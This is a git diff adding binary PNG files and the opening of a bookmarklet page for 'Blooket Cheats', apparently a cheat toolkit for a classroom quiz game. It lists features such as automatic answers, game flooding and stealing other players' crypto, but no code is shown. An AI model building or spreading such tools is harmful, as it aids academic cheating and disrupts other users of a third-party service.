a/autoupdate/gold/setPlayersGold.png b/autoupdate/gold/setPlayersGold.png new file mode 100644 index 0000000..94d1e71 Binary files /dev/null and b/autoupdate/gold/setPlayersGold.png differ diff --git a/autoupdate/gold/swapGold.png b/autoupdate/gold/swapGold.png new file mode 100644 index 0000000..8931191 Binary files /dev/null and b/autoupdate/gold/swapGold.png differ diff --git a/autoupdate/gui.png b/autoupdate/gui.png new file mode 100644 index 0000000..bef2bca Binary files /dev/null and b/autoupdate/gui.png differ diff --git a/autoupdate/kingdom/choiceESP.png b/autoupdate/kingdom/choiceESP.png new file mode 100644 index 0000000..a1278d8 Binary files /dev/null and b/autoupdate/kingdom/choiceESP.png differ diff --git a/autoupdate/kingdom/choiceESPLoop.png b/autoupdate/kingdom/choiceESPLoop.png new file mode 100644 index 0000000..e7fb928 Binary files /dev/null and b/autoupdate/kingdom/choiceESPLoop.png differ diff --git a/autoupdate/kingdom/disableToucan.png b/autoupdate/kingdom/disableToucan.png new file mode 100644 index 0000000..98c4882 Binary files /dev/null and b/autoupdate/kingdom/disableToucan.png differ diff --git a/autoupdate/kingdom/maxStats.png b/autoupdate/kingdom/maxStats.png new file mode 100644 index 0000000..152b394 Binary files /dev/null and b/autoupdate/kingdom/maxStats.png differ diff --git a/autoupdate/kingdom/setGuests.png b/autoupdate/kingdom/setGuests.png new file mode 100644 index 0000000..3e59bc0 Binary files /dev/null and b/autoupdate/kingdom/setGuests.png differ diff --git a/autoupdate/kingdom/skipGuest.png b/autoupdate/kingdom/skipGuest.png new file mode 100644 index 0000000..bc20222 Binary files /dev/null and b/autoupdate/kingdom/skipGuest.png differ diff --git a/autoupdate/mobileGui.png b/autoupdate/mobileGui.png new file mode 100644 index 0000000..ac2e158 Binary files /dev/null and b/autoupdate/mobileGui.png differ diff --git a/autoupdate/racing/instantWin.png b/autoupdate/racing/instantWin.png new file mode 100644 index 0000000..c20c77e Binary files /dev/null and b/autoupdate/racing/instantWin.png differ diff --git a/autoupdate/reactGui.png b/autoupdate/reactGui.png new file mode 100644 index 0000000..d9fc937 Binary files /dev/null and b/autoupdate/reactGui.png differ diff --git a/autoupdate/royale/autoAnswer.png b/autoupdate/royale/autoAnswer.png new file mode 100644 index 0000000..43ae83a Binary files /dev/null and b/autoupdate/royale/autoAnswer.png differ diff --git a/autoupdate/royale/intervals/autoAnswer.png b/autoupdate/royale/intervals/autoAnswer.png new file mode 100644 index 0000000..b32265a Binary files /dev/null and b/autoupdate/royale/intervals/autoAnswer.png differ diff --git a/autoupdate/rush/setBlooks.png b/autoupdate/rush/setBlooks.png new file mode 100644 index 0000000..df52590 Binary files /dev/null and b/autoupdate/rush/setBlooks.png differ diff --git a/autoupdate/rush/setDefense.png b/autoupdate/rush/setDefense.png new file mode 100644 index 0000000..4d8fdaa Binary files /dev/null and b/autoupdate/rush/setDefense.png differ diff --git a/autoupdate/timestamps/brawl/doubleEnemyXp.png b/autoupdate/timestamps/brawl/doubleEnemyXp.png new file mode 100644 index 0000000..e021998 Binary files /dev/null and b/autoupdate/timestamps/brawl/doubleEnemyXp.png differ diff --git a/autoupdate/timestamps/brawl/halfEnemySpeed.png b/autoupdate/timestamps/brawl/halfEnemySpeed.png new file mode 100644 index 0000000..9544d24 Binary files /dev/null and b/autoupdate/timestamps/brawl/halfEnemySpeed.png differ diff --git a/autoupdate/timestamps/brawl/instantKill.png b/autoupdate/timestamps/brawl/instantKill.png new file mode 100644 index 0000000..2c471a5 Binary files /dev/null and b/autoupdate/timestamps/brawl/instantKill.png differ diff --git a/autoupdate/timestamps/brawl/invincibility.png b/autoupdate/timestamps/brawl/invincibility.png new file mode 100644 index 0000000..6923919 Binary files /dev/null and b/autoupdate/timestamps/brawl/invincibility.png differ diff --git a/autoupdate/timestamps/brawl/killEnemies.png b/autoupdate/timestamps/brawl/killEnemies.png new file mode 100644 index 0000000..7b8f4d2 Binary files /dev/null and b/autoupdate/timestamps/brawl/killEnemies.png differ diff --git a/autoupdate/timestamps/brawl/magnet.png b/autoupdate/timestamps/brawl/magnet.png new file mode 100644 index 0000000..421f04b Binary files /dev/null and b/autoupdate/timestamps/brawl/magnet.png differ diff --git a/autoupdate/timestamps/brawl/maxCurrentAbilities.png b/autoupdate/timestamps/brawl/maxCurrentAbilities.png new file mode 100644 index 0000000..bb8f767 Binary files /dev/null and b/autoupdate/timestamps/brawl/maxCurrentAbilities.png differ diff --git a/autoupdate/timestamps/brawl/nextLevel.png b/autoupdate/timestamps/brawl/nextLevel.png new file mode 100644 index 0000000..112ad05 Binary files /dev/null and b/autoupdate/timestamps/brawl/nextLevel.png differ diff --git a/autoupdate/timestamps/brawl/removeObstacles.png b/autoupdate/timestamps/brawl/removeObstacles.png new file mode 100644 index 0000000..dfb24c0 Binary files /dev/null and b/autoupdate/timestamps/brawl/removeObstacles.png differ diff --git a/autoupdate/timestamps/brawl/resetHealth.png b/autoupdate/timestamps/brawl/resetHealth.png new file mode 100644 index 0000000..3f270ae Binary files /dev/null and b/autoupdate/timestamps/brawl/resetHealth.png differ diff --git a/autoupdate/timestamps/cafe/maxItems.png b/autoupdate/timestamps/cafe/maxItems.png new file mode 100644 index 0000000..2cb1698 Binary files /dev/null and b/autoupdate/timestamps/cafe/maxItems.png differ diff --git a/autoupdate/timestamps/cafe/removeCustomers.png b/autoupdate/timestamps/cafe/removeCustomers.png new file mode 100644 index 0000000..6f37998 Binary files /dev/null and b/autoupdate/timestamps/cafe/removeCustomers.png differ diff --git a/autoupdate/timestamps/cafe/resetAbilities.png b/autoupdate/timestamps/cafe/resetAbilities.png new file mode 100644 index 0000000..e900265 Binary files /dev/null and b/autoupdate/timestamps/cafe/resetAbilities.png differ diff --git a/autoupdate/timestamps/cafe/setCash.png b/autoupdate/timestamps/cafe/setCash.png new file mode 100644 index 0000000..6102f83 Binary files /dev/null and b/autoupdate/timestamps/cafe/setCash.png differ diff --git a/autoupdate/timestamps/cafe/stockFood.png b/autoupdate/timestamps/cafe/stockFood.png new file mode 100644 index 0000000..fc42251 Binary files /dev/null and b/autoupdate/timestamps/cafe/stockFood.png differ diff --git a/autoupdate/timestamps/crypto/alwaysTriple.png b/autoupdate/timestamps/crypto/alwaysTriple.png new file mode 100644 index 0000000..172158e Binary files /dev/null and b/autoupdate/timestamps/crypto/alwaysTriple.png differ diff --git a/autoupdate/timestamps/crypto/autoGuess.png b/autoupdate/timestamps/crypto/autoGuess.png new file mode 100644 index 0000000..1e3e965 Binary files /dev/null and b/autoupdate/timestamps/crypto/autoGuess.png differ diff --git a/autoupdate/timestamps/crypto/choiceESP.png b/autoupdate/timestamps/crypto/choiceESP.png new file mode 100644 index 0000000..972d6ec Binary files /dev/null and b/autoupdate/timestamps/crypto/choiceESP.png differ diff --git a/autoupdate/timestamps/crypto/passwordESP.png b/autoupdate/timestamps/crypto/passwordESP.png new file mode 100644 index 0000000..a76f085 Binary files /dev/null and b/autoupdate/timestamps/crypto/passwordESP.png differ diff --git a/autoupdate/timestamps/crypto/removeHack.png b/autoupdate/timestamps/crypto/removeHack.png new file mode 100644 index 0000000..d65d17d Binary files /dev/null and b/autoupdate/timestamps/crypto/removeHack.png differ diff --git a/autoupdate/timestamps/crypto/setCrypto.png b/autoupdate/timestamps/crypto/setCrypto.png new file mode 100644 index 0000000..8423134 Binary files /dev/null and b/autoupdate/timestamps/crypto/setCrypto.png differ diff --git a/autoupdate/timestamps/crypto/setPassword.png b/autoupdate/timestamps/crypto/setPassword.png new file mode 100644 index 0000000..007f063 Binary files /dev/null and b/autoupdate/timestamps/crypto/setPassword.png differ diff --git a/autoupdate/timestamps/crypto/stealPlayersCrypto.png b/autoupdate/timestamps/crypto/stealPlayersCrypto.png new file mode 100644 index 0000000..84a4f3d Binary files /dev/null and b/autoupdate/timestamps/crypto/stealPlayersCrypto.png differ diff --git a/autoupdate/timestamps/dinos/autoChoose.png b/autoupdate/timestamps/dinos/autoChoose.png new file mode 100644 index 0000000..0cd0029 Binary files /dev/null and b/autoupdate/timestamps/dinos/autoChoose.png differ diff --git a/autoupdate/timestamps/dinos/rockESP.png b/autoupdate/timestamps/dinos/rockESP.png new file mode 100644 index 0000000..df6cb2d Binary files /dev/null and b/autoupdate/timestamps/dinos/rockESP.png differ diff --git a/autoupdate/timestamps/dinos/setFossils.png b/autoupdate/timestamps/dinos/setFossils.png new file mode 100644 index 0000000..1150bbf Binary files /dev/null and b/autoupdate/timestamps/dinos/setFossils.png differ diff --git a/autoupdate/timestamps/dinos/setMultiplier.png b/autoupdate/timestamps/dinos/setMultiplier.png new file mode 100644 index 0000000..8b03bdf Binary files /dev/null and b/autoupdate/timestamps/dinos/setMultiplier.png differ diff --git a/autoupdate/timestamps/dinos/stopCheating.png b/autoupdate/timestamps/dinos/stopCheating.png new file mode 100644 index 0000000..c00dcbc Binary files /dev/null and b/autoupdate/timestamps/dinos/stopCheating.png differ diff --git a/autoupdate/timestamps/doom/fillDeck.png b/autoupdate/timestamps/doom/fillDeck.png new file mode 100644 index 0000000..72f99bd Binary files /dev/null and b/autoupdate/timestamps/doom/fillDeck.png differ diff --git a/autoupdate/timestamps/doom/maxCards.png b/autoupdate/timestamps/doom/maxCards.png new file mode 100644 index 0000000..a9a8190 Binary files /dev/null and b/autoupdate/timestamps/doom/maxCards.png differ diff --git a/autoupdate/timestamps/doom/maxHealth.png b/autoupdate/timestamps/doom/maxHealth.png new file mode 100644 index 0000000..3a7d042 Binary files /dev/null and b/autoupdate/timestamps/doom/maxHealth.png differ diff --git a/autoupdate/timestamps/doom/maxStats.png b/autoupdate/timestamps/doom/maxStats.png new file mode 100644 index 0000000..68cd73a Binary files /dev/null and b/autoupdate/timestamps/doom/maxStats.png differ diff --git a/autoupdate/timestamps/doom/minEnemy.png b/autoupdate/timestamps/doom/minEnemy.png new file mode 100644 index 0000000..6040cc3 Binary files /dev/null and b/autoupdate/timestamps/doom/minEnemy.png differ diff --git a/autoupdate/timestamps/doom/setCoins.png b/autoupdate/timestamps/doom/setCoins.png new file mode 100644 index 0000000..0ea4b9d Binary files /dev/null and b/autoupdate/timestamps/doom/setCoins.png differ diff --git a/autoupdate/timestamps/factory/chooseBlook.png b/autoupdate/timestamps/factory/chooseBlook.png new file mode 100644 index 0000000..e1a3dfc Binary files /dev/null and b/autoupdate/timestamps/factory/chooseBlook.png differ diff --git a/autoupdate/timestamps/factory/freeUpgrades.png b/autoupdate/timestamps/factory/freeUpgrades.png new file mode 100644 index 0000000..12d673a Binary files /dev/null and b/autoupdate/timestamps/factory/freeUpgrades.png differ diff --git a/autoupdate/timestamps/factory/maxBlooks.png b/autoupdate/timestamps/factory/maxBlooks.png new file mode 100644 index 0000000..da6d900 Binary files /dev/null and b/autoupdate/timestamps/factory/maxBlooks.png differ diff --git a/autoupdate/timestamps/factory/removeGlitches.png b/autoupdate/timestamps/factory/removeGlitches.png new file mode 100644 index 0000000..dff8f28 Binary files /dev/null and b/autoupdate/timestamps/factory/removeGlitches.png differ diff --git a/autoupdate/timestamps/factory/sendGlitch.png b/autoupdate/timestamps/factory/sendGlitch.png new file mode 100644 index 0000000..cec9cce Binary files /dev/null and b/autoupdate/timestamps/factory/sendGlitch.png differ diff --git a/autoupdate/timestamps/factory/setAllMegaBot.png b/autoupdate/timestamps/factory/setAllMegaBot.png new file mode 100644 index 0000000..ddd0a5c Binary files /dev/null and b/autoupdate/timestamps/factory/setAllMegaBot.png differ diff --git a/autoupdate/timestamps/factory/setCash.png b/autoupdate/timestamps/factory/setCash.png new file mode 100644 index 0000000..b04c50a Binary files /dev/null and b/autoupdate/timestamps/factory/setCash.png differ diff --git a/autoupdate/timestamps/fishing/frenzy.png b/autoupdate/timestamps/fishing/frenzy.png new file mode 100644 index 0000000..436cad2 Binary files /dev/null and b/autoupdate/timestamps/fishing/frenzy.png differ diff --git a/autoupdate/timestamps/fishing/removeDistraction.png b/autoupdate/timestamps/fishing/removeDistraction.png new file mode 100644 index 0000000..d9144dc Binary files /dev/null and b/autoupdate/timestamps/fishing/removeDistraction.png differ diff --git a/autoupdate/timestamps/fishing/sendDistraction.png b/autoupdate/timestamps/fishing/sendDistraction.png new file mode 100644 index 0000000..7c02eab Binary files /dev/null and b/autoupdate/timestamps/fishing/sendDistraction.png differ diff --git a/autoupdate/timestamps/fishing/setLure.png b/autoupdate/timestamps/fishing/setLure.png new file mode 100644 index 0000000..ae2ee8b Binary files /dev/null and b/autoupdate/timestamps/fishing/setLure.png differ diff --git a/autoupdate/timestamps/fishing/setWeight.png b/autoupdate/timestamps/fishing/setWeight.png new file mode 100644 index 0000000..b9214bc Binary files /dev/null and b/autoupdate/timestamps/fishing/setWeight.png differ diff --git a/autoupdate/timestamps/flappy/setScore.png b/autoupdate/timestamps/flappy/setScore.png new file mode 100644 index 0000000..543cee2 Binary files /dev/null and b/autoupdate/timestamps/flappy/setScore.png differ diff --git a/autoupdate/timestamps/flappy/toggleGhost.png b/autoupdate/timestamps/flappy/toggleGhost.png new file mode 100644 index 0000000..e4bc32f Binary files /dev/null and b/autoupdate/timestamps/flappy/toggleGhost.png differ diff --git a/autoupdate/timestamps/global/antiFloodGame.png b/autoupdate/timestamps/global/antiFloodGame.png new file mode 100644 index 0000000..b1b4199 Binary files /dev/null and b/autoupdate/timestamps/global/antiFloodGame.png differ diff --git a/autoupdate/timestamps/global/autoAnswer.png b/autoupdate/timestamps/global/autoAnswer.png new file mode 100644 index 0000000..a631d8b Binary files /dev/null and b/autoupdate/timestamps/global/autoAnswer.png differ diff --git a/autoupdate/timestamps/global/changeBlookIngame.png b/autoupdate/timestamps/global/changeBlookIngame.png new file mode 100644 index 0000000..ea762be Binary files /dev/null and b/autoupdate/timestamps/global/changeBlookIngame.png differ diff --git a/autoupdate/timestamps/global/everyAnswerCorrect.png b/autoupdate/timestamps/global/everyAnswerCorrect.png new file mode 100644 index 0000000..db02b79 Binary files /dev/null and b/autoupdate/timestamps/global/everyAnswerCorrect.png differ diff --git a/autoupdate/timestamps/global/floodGame.png b/autoupdate/timestamps/global/floodGame.png new file mode 100644 index 0000000..05ab439 Binary files /dev/null and b/autoupdate/timestamps/global/floodGame.png differ diff --git a/autoupdate/timestamps/global/getDailyRewards.png b/autoupdate/timestamps/global/getDailyRewards.png new file mode 100644 index 0000000..44aa783 Binary files /dev/null and b/autoupdate/timestamps/global/getDailyRewards.png differ diff --git a/autoupdate/timestamps/global/highlightAnswers.png b/autoupdate/timestamps/global/highlightAnswers.png new file mode 100644 index 0000000..2f77340 Binary files /dev/null and b/autoupdate/timestamps/global/highlightAnswers.png differ diff --git a/autoupdate/timestamps/global/intervals/autoAnswer.png b/autoupdate/timestamps/global/intervals/autoAnswer.png new file mode 100644 index 0000000..13d95e3 Binary files /dev/null and b/autoupdate/timestamps/global/intervals/autoAnswer.png differ diff --git a/autoupdate/timestamps/global/intervals/highlightAnswers.png b/autoupdate/timestamps/global/intervals/highlightAnswers.png new file mode 100644 index 0000000..bd109f5 Binary files /dev/null and b/autoupdate/timestamps/global/intervals/highlightAnswers.png differ diff --git a/autoupdate/timestamps/global/removeNameLimit.png b/autoupdate/timestamps/global/removeNameLimit.png new file mode 100644 index 0000000..e9cebec Binary files /dev/null and b/autoupdate/timestamps/global/removeNameLimit.png differ diff --git a/autoupdate/timestamps/global/removeRandomName.png b/autoupdate/timestamps/global/removeRandomName.png new file mode 100644 index 0000000..6480139 Binary files /dev/null and b/autoupdate/timestamps/global/removeRandomName.png differ diff --git a/autoupdate/timestamps/global/sellCheapDuplicates.png b/autoupdate/timestamps/global/sellCheapDuplicates.png new file mode 100644 index 0000000..8c41406 Binary files /dev/null and b/autoupdate/timestamps/global/sellCheapDuplicates.png differ diff --git a/autoupdate/timestamps/global/sellDuplicateBlooks.png b/autoupdate/timestamps/global/sellDuplicateBlooks.png new file mode 100644 index 0000000..3e4722f Binary files /dev/null and b/autoupdate/timestamps/global/sellDuplicateBlooks.png differ diff --git a/autoupdate/timestamps/global/simulatePack.png b/autoupdate/timestamps/global/simulatePack.png new file mode 100644 index 0000000..77b4aa7 Binary files /dev/null and b/autoupdate/timestamps/global/simulatePack.png differ diff --git a/autoupdate/timestamps/global/simulateUnlock.png b/autoupdate/timestamps/global/simulateUnlock.png new file mode 100644 index 0000000..16ca112 Binary files /dev/null and b/autoupdate/timestamps/global/simulateUnlock.png differ diff --git a/autoupdate/timestamps/global/spamBuyBlooks.png b/autoupdate/timestamps/global/spamBuyBlooks.png new file mode 100644 index 0000000..9f7acfe Binary files /dev/null and b/autoupdate/timestamps/global/spamBuyBlooks.png differ diff --git a/autoupdate/timestamps/global/unlockPlusGamemodes.png b/autoupdate/timestamps/global/unlockPlusGamemodes.png new file mode 100644 index 0000000..397539a Binary files /dev/null and b/autoupdate/timestamps/global/unlockPlusGamemodes.png differ diff --git a/autoupdate/timestamps/global/useAnyBlook.png b/autoupdate/timestamps/global/useAnyBlook.png new file mode 100644 index 0000000..16832f8 Binary files /dev/null and b/autoupdate/timestamps/global/useAnyBlook.png differ diff --git a/autoupdate/timestamps/gold/alwaysTriple.png b/autoupdate/timestamps/gold/alwaysTriple.png new file mode 100644 index 0000000..d476cd7 Binary files /dev/null and b/autoupdate/timestamps/gold/alwaysTriple.png differ diff --git a/autoupdate/timestamps/gold/autoChoose.png b/autoupdate/timestamps/gold/autoChoose.png new file mode 100644 index 0000000..279a21e Binary files /dev/null and b/autoupdate/timestamps/gold/autoChoose.png differ diff --git a/autoupdate/timestamps/gold/chestESP.png b/autoupdate/timestamps/gold/chestESP.png new file mode 100644 index 0000000..776d671 Binary files /dev/null and b/autoupdate/timestamps/gold/chestESP.png differ diff --git a/autoupdate/timestamps/gold/resetAllGold.png b/autoupdate/timestamps/gold/resetAllGold.png new file mode 100644 index 0000000..a074412 Binary files /dev/null and b/autoupdate/timestamps/gold/resetAllGold.png differ diff --git a/autoupdate/timestamps/gold/resetPlayersGold.png b/autoupdate/timestamps/gold/resetPlayersGold.png new file mode 100644 index 0000000..97686c4 Binary files /dev/null and b/autoupdate/timestamps/gold/resetPlayersGold.png differ diff --git a/autoupdate/timestamps/gold/setGold.png b/autoupdate/timestamps/gold/setGold.png new file mode 100644 index 0000000..ab253c5 Binary files /dev/null and b/autoupdate/timestamps/gold/setGold.png differ diff --git a/autoupdate/timestamps/gold/setPlayersGold.png b/autoupdate/timestamps/gold/setPlayersGold.png new file mode 100644 index 0000000..12b4cdb Binary files /dev/null and b/autoupdate/timestamps/gold/setPlayersGold.png differ diff --git a/autoupdate/timestamps/gold/swapGold.png b/autoupdate/timestamps/gold/swapGold.png new file mode 100644 index 0000000..f55cca9 Binary files /dev/null and b/autoupdate/timestamps/gold/swapGold.png differ diff --git a/autoupdate/timestamps/gui.png b/autoupdate/timestamps/gui.png new file mode 100644 index 0000000..adf5aec Binary files /dev/null and b/autoupdate/timestamps/gui.png differ diff --git a/autoupdate/timestamps/kingdom/choiceESP.png b/autoupdate/timestamps/kingdom/choiceESP.png new file mode 100644 index 0000000..87047da Binary files /dev/null and b/autoupdate/timestamps/kingdom/choiceESP.png differ diff --git a/autoupdate/timestamps/kingdom/choiceESPLoop.png b/autoupdate/timestamps/kingdom/choiceESPLoop.png new file mode 100644 index 0000000..3e6a994 Binary files /dev/null and b/autoupdate/timestamps/kingdom/choiceESPLoop.png differ diff --git a/autoupdate/timestamps/kingdom/disableToucan.png b/autoupdate/timestamps/kingdom/disableToucan.png new file mode 100644 index 0000000..f6ca671 Binary files /dev/null and b/autoupdate/timestamps/kingdom/disableToucan.png differ diff --git a/autoupdate/timestamps/kingdom/maxStats.png b/autoupdate/timestamps/kingdom/maxStats.png new file mode 100644 index 0000000..92c73e1 Binary files /dev/null and b/autoupdate/timestamps/kingdom/maxStats.png differ diff --git a/autoupdate/timestamps/kingdom/setGuests.png b/autoupdate/timestamps/kingdom/setGuests.png new file mode 100644 index 0000000..2175fa2 Binary files /dev/null and b/autoupdate/timestamps/kingdom/setGuests.png differ diff --git a/autoupdate/timestamps/kingdom/skipGuest.png b/autoupdate/timestamps/kingdom/skipGuest.png new file mode 100644 index 0000000..49bfcf0 Binary files /dev/null and b/autoupdate/timestamps/kingdom/skipGuest.png differ diff --git a/autoupdate/timestamps/mobileGui.png b/autoupdate/timestamps/mobileGui.png new file mode 100644 index 0000000..d8a5cb9 Binary files /dev/null and b/autoupdate/timestamps/mobileGui.png differ diff --git a/autoupdate/timestamps/racing/instantWin.png b/autoupdate/timestamps/racing/instantWin.png new file mode 100644 index 0000000..6d91200 Binary files /dev/null and b/autoupdate/timestamps/racing/instantWin.png differ diff --git a/autoupdate/timestamps/reactGui.png b/autoupdate/timestamps/reactGui.png new file mode 100644 index 0000000..2b07148 Binary files /dev/null and b/autoupdate/timestamps/reactGui.png differ diff --git a/autoupdate/timestamps/royale/autoAnswer.png b/autoupdate/timestamps/royale/autoAnswer.png new file mode 100644 index 0000000..b542faf Binary files /dev/null and b/autoupdate/timestamps/royale/autoAnswer.png differ diff --git a/autoupdate/timestamps/royale/intervals/autoAnswer.png b/autoupdate/timestamps/royale/intervals/autoAnswer.png new file mode 100644 index 0000000..e5238b5 Binary files /dev/null and b/autoupdate/timestamps/royale/intervals/autoAnswer.png differ diff --git a/autoupdate/timestamps/rush/setBlooks.png b/autoupdate/timestamps/rush/setBlooks.png new file mode 100644 index 0000000..eb473b6 Binary files /dev/null and b/autoupdate/timestamps/rush/setBlooks.png differ diff --git a/autoupdate/timestamps/rush/setDefense.png b/autoupdate/timestamps/rush/setDefense.png new file mode 100644 index 0000000..fcbbcd2 Binary files /dev/null and b/autoupdate/timestamps/rush/setDefense.png differ diff --git a/autoupdate/timestamps/tower-defense-2/maxTowers.png b/autoupdate/timestamps/tower-defense-2/maxTowers.png new file mode 100644 index 0000000..5bc902e Binary files /dev/null and b/autoupdate/timestamps/tower-defense-2/maxTowers.png differ diff --git a/autoupdate/timestamps/tower-defense-2/removeEnemies.png b/autoupdate/timestamps/tower-defense-2/removeEnemies.png new file mode 100644 index 0000000..fe99c6a Binary files /dev/null and b/autoupdate/timestamps/tower-defense-2/removeEnemies.png differ diff --git a/autoupdate/timestamps/tower-defense-2/setCoins.png b/autoupdate/timestamps/tower-defense-2/setCoins.png new file mode 100644 index 0000000..75be60f Binary files /dev/null and b/autoupdate/timestamps/tower-defense-2/setCoins.png differ diff --git a/autoupdate/timestamps/tower-defense-2/setHealth.png b/autoupdate/timestamps/tower-defense-2/setHealth.png new file mode 100644 index 0000000..919290e Binary files /dev/null and b/autoupdate/timestamps/tower-defense-2/setHealth.png differ diff --git a/autoupdate/timestamps/tower-defense-2/setRound.png b/autoupdate/timestamps/tower-defense-2/setRound.png new file mode 100644 index 0000000..9edd5d1 Binary files /dev/null and b/autoupdate/timestamps/tower-defense-2/setRound.png differ diff --git a/autoupdate/timestamps/tower-defense/earthquake.png b/autoupdate/timestamps/tower-defense/earthquake.png new file mode 100644 index 0000000..ea8b57f Binary files /dev/null and b/autoupdate/timestamps/tower-defense/earthquake.png differ diff --git a/autoupdate/timestamps/tower-defense/maxTowers.png b/autoupdate/timestamps/tower-defense/maxTowers.png new file mode 100644 index 0000000..cda04bb Binary files /dev/null and b/autoupdate/timestamps/tower-defense/maxTowers.png differ diff --git a/autoupdate/timestamps/tower-defense/removeDucks.png b/autoupdate/timestamps/tower-defense/removeDucks.png new file mode 100644 index 0000000..85903d7 Binary files /dev/null and b/autoupdate/timestamps/tower-defense/removeDucks.png differ diff --git a/autoupdate/timestamps/tower-defense/removeEnemies.png b/autoupdate/timestamps/tower-defense/removeEnemies.png new file mode 100644 index 0000000..780397c Binary files /dev/null and b/autoupdate/timestamps/tower-defense/removeEnemies.png differ diff --git a/autoupdate/timestamps/tower-defense/removeObsticles.png b/autoupdate/timestamps/tower-defense/removeObsticles.png new file mode 100644 index 0000000..ba4edf2 Binary files /dev/null and b/autoupdate/timestamps/tower-defense/removeObsticles.png differ diff --git a/autoupdate/timestamps/tower-defense/setDmg.png b/autoupdate/timestamps/tower-defense/setDmg.png new file mode 100644 index 0000000..3f038c8 Binary files /dev/null and b/autoupdate/timestamps/tower-defense/setDmg.png differ diff --git a/autoupdate/timestamps/tower-defense/setRound.png b/autoupdate/timestamps/tower-defense/setRound.png new file mode 100644 index 0000000..0fd17c3 Binary files /dev/null and b/autoupdate/timestamps/tower-defense/setRound.png differ diff --git a/autoupdate/timestamps/tower-defense/setTokens.png b/autoupdate/timestamps/tower-defense/setTokens.png new file mode 100644 index 0000000..b5be6ff Binary files /dev/null and b/autoupdate/timestamps/tower-defense/setTokens.png differ diff --git a/autoupdate/timestamps/workshop/removeDistractions.png b/autoupdate/timestamps/workshop/removeDistractions.png new file mode 100644 index 0000000..9bb59c6 Binary files /dev/null and b/autoupdate/timestamps/workshop/removeDistractions.png differ diff --git a/autoupdate/timestamps/workshop/sendDistraction.png b/autoupdate/timestamps/workshop/sendDistraction.png new file mode 100644 index 0000000..3266929 Binary files /dev/null and b/autoupdate/timestamps/workshop/sendDistraction.png differ diff --git a/autoupdate/timestamps/workshop/setToys.png b/autoupdate/timestamps/workshop/setToys.png new file mode 100644 index 0000000..5b6eb4a Binary files /dev/null and b/autoupdate/timestamps/workshop/setToys.png differ diff --git a/autoupdate/timestamps/workshop/setToysPerQ.png b/autoupdate/timestamps/workshop/setToysPerQ.png new file mode 100644 index 0000000..1958ee3 Binary files /dev/null and b/autoupdate/timestamps/workshop/setToysPerQ.png differ diff --git a/autoupdate/timestamps/workshop/swapToys.png b/autoupdate/timestamps/workshop/swapToys.png new file mode 100644 index 0000000..6e70286 Binary files /dev/null and b/autoupdate/timestamps/workshop/swapToys.png differ diff --git a/autoupdate/tower-defense-2/maxTowers.png b/autoupdate/tower-defense-2/maxTowers.png new file mode 100644 index 0000000..229062a Binary files /dev/null and b/autoupdate/tower-defense-2/maxTowers.png differ diff --git a/autoupdate/tower-defense-2/removeEnemies.png b/autoupdate/tower-defense-2/removeEnemies.png new file mode 100644 index 0000000..8933da7 Binary files /dev/null and b/autoupdate/tower-defense-2/removeEnemies.png differ diff --git a/autoupdate/tower-defense-2/setCoins.png b/autoupdate/tower-defense-2/setCoins.png new file mode 100644 index 0000000..6df4fc4 Binary files /dev/null and b/autoupdate/tower-defense-2/setCoins.png differ diff --git a/autoupdate/tower-defense-2/setHealth.png b/autoupdate/tower-defense-2/setHealth.png new file mode 100644 index 0000000..ce2d59f Binary files /dev/null and b/autoupdate/tower-defense-2/setHealth.png differ diff --git a/autoupdate/tower-defense-2/setRound.png b/autoupdate/tower-defense-2/setRound.png new file mode 100644 index 0000000..3a3b472 Binary files /dev/null and b/autoupdate/tower-defense-2/setRound.png differ diff --git a/autoupdate/tower-defense/earthquake.png b/autoupdate/tower-defense/earthquake.png new file mode 100644 index 0000000..475b37d Binary files /dev/null and b/autoupdate/tower-defense/earthquake.png differ diff --git a/autoupdate/tower-defense/maxTowers.png b/autoupdate/tower-defense/maxTowers.png new file mode 100644 index 0000000..bb74c44 Binary files /dev/null and b/autoupdate/tower-defense/maxTowers.png differ diff --git a/autoupdate/tower-defense/removeDucks.png b/autoupdate/tower-defense/removeDucks.png new file mode 100644 index 0000000..6b38f36 Binary files /dev/null and b/autoupdate/tower-defense/removeDucks.png differ diff --git a/autoupdate/tower-defense/removeEnemies.png b/autoupdate/tower-defense/removeEnemies.png new file mode 100644 index 0000000..9b01aab Binary files /dev/null and b/autoupdate/tower-defense/removeEnemies.png differ diff --git a/autoupdate/tower-defense/removeObsticles.png b/autoupdate/tower-defense/removeObsticles.png new file mode 100644 index 0000000..3fc7649 Binary files /dev/null and b/autoupdate/tower-defense/removeObsticles.png differ diff --git a/autoupdate/tower-defense/setDmg.png b/autoupdate/tower-defense/setDmg.png new file mode 100644 index 0000000..0f61d3f Binary files /dev/null and b/autoupdate/tower-defense/setDmg.png differ diff --git a/autoupdate/tower-defense/setRound.png b/autoupdate/tower-defense/setRound.png new file mode 100644 index 0000000..692091a Binary files /dev/null and b/autoupdate/tower-defense/setRound.png differ diff --git a/autoupdate/tower-defense/setTokens.png b/autoupdate/tower-defense/setTokens.png new file mode 100644 index 0000000..b4d5a8d Binary files /dev/null and b/autoupdate/tower-defense/setTokens.png differ diff --git a/autoupdate/workshop/removeDistractions.png b/autoupdate/workshop/removeDistractions.png new file mode 100644 index 0000000..fcdf048 Binary files /dev/null and b/autoupdate/workshop/removeDistractions.png differ diff --git a/autoupdate/workshop/sendDistraction.png b/autoupdate/workshop/sendDistraction.png new file mode 100644 index 0000000..2d5631e Binary files /dev/null and b/autoupdate/workshop/sendDistraction.png differ diff --git a/autoupdate/workshop/setToys.png b/autoupdate/workshop/setToys.png new file mode 100644 index 0000000..a223829 Binary files /dev/null and b/autoupdate/workshop/setToys.png differ diff --git a/autoupdate/workshop/setToysPerQ.png b/autoupdate/workshop/setToysPerQ.png new file mode 100644 index 0000000..6783a14 Binary files /dev/null and b/autoupdate/workshop/setToysPerQ.png differ diff --git a/autoupdate/workshop/swapToys.png b/autoupdate/workshop/swapToys.png new file mode 100644 index 0000000..c3943ba Binary files /dev/null and b/autoupdate/workshop/swapToys.png differ diff --git a/cheats/Bookmarklets.html b/cheats/Bookmarklets.html new file mode 100644 index 0000000..246bbc9 --- /dev/null +++ b/cheats/Bookmarklets.html @@ -0,0 +1,191 @@ + + +Blooket Cheats +

Blooket Cheats

+
+
Gui
+
Mobile Gui
+
React Gui
+

Monster Brawl

+
+
Double Enemy Xp
+
Half Enemy Speed
+
Instant Kill
+
Invincibility
+
Kill Enemies
+
Magnet
+
Max Current Abilities
+
Next Level
+
Remove Obstacles
+
Reset Health
+
+

Cafe

+
+
Max Items
+
Remove Customers
+
Reset Abilities
+
Set Cash
+
Stock Food
+
+

Crypto Hack

+
+
